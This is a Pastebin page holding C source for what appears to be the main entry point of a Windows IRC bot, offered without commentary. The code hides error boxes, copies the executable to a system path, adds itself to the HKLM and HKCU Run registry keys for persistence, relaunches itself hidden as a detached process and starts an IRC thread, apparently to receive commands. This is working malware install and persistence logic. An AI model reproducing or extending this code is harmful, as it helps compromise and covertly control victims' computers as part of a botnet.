Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "Load.h"
- #include "Manual.h"
- char CurrentName[1024];
- HANDLE xetum;
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
- {
- SetErrorMode(SEM_NOGPFAULTERRORBOX);
- Sleep(2000);
- xetum = CreateMutex(NULL, FALSE, cfg_mutex);
- if (GetLastError() == ERROR_ALREADY_EXISTS)
- ExitProcess(0);
- char test[1] = "";
- //install
- char cpbot[MAX_PATH];
- char movetopath[MAX_PATH];
- char spath[MAX_PATH];
- GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot));
- ExpandEnvironmentStrings(gotopth,movetopath,sizeof(movetopath));
- sprintf(spath,"%s\\%s",movetopath,exename);
- if (MoveBot(movetopath,exename))
- {
- HKEY hndKey;
- hndKey= NULL;
- RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL);
- RegSetValueEx(hndKey,szRegname,0, REG_SZ,(const unsigned char *)spath,strlen(spath));
- RegCloseKey(hndKey);
- HKEY hKey;
- hKey= NULL;
- RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hKey, NULL);
- RegSetValueEx(hKey,szRegname,0, REG_SZ,(const unsigned char *)spath,strlen(spath));
- RegCloseKey(hKey);
- PROCESS_INFORMATION pinfo;
- STARTUPINFO sinfo;
- ZeroMemory(&pinfo,sizeof(pinfo));
- ZeroMemory(&sinfo,sizeof(sinfo));
- sinfo.lpTitle = "";
- sinfo.cb = sizeof(sinfo);
- sinfo.dwFlags = STARTF_USESHOWWINDOW;
- sinfo.wShowWindow = SW_HIDE;
- if (CreateProcess(spath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo))
- {
- Sleep(200);
- CloseHandle(pinfo.hProcess);
- CloseHandle(pinfo.hThread);
- WSACleanup();
- ExitProcess(EXIT_SUCCESS);
- }
- ExitProcess(1);
- }
- IRC_Thread((void*)test);
- return(0);
- }
Add Comment
Please, Sign In to add comment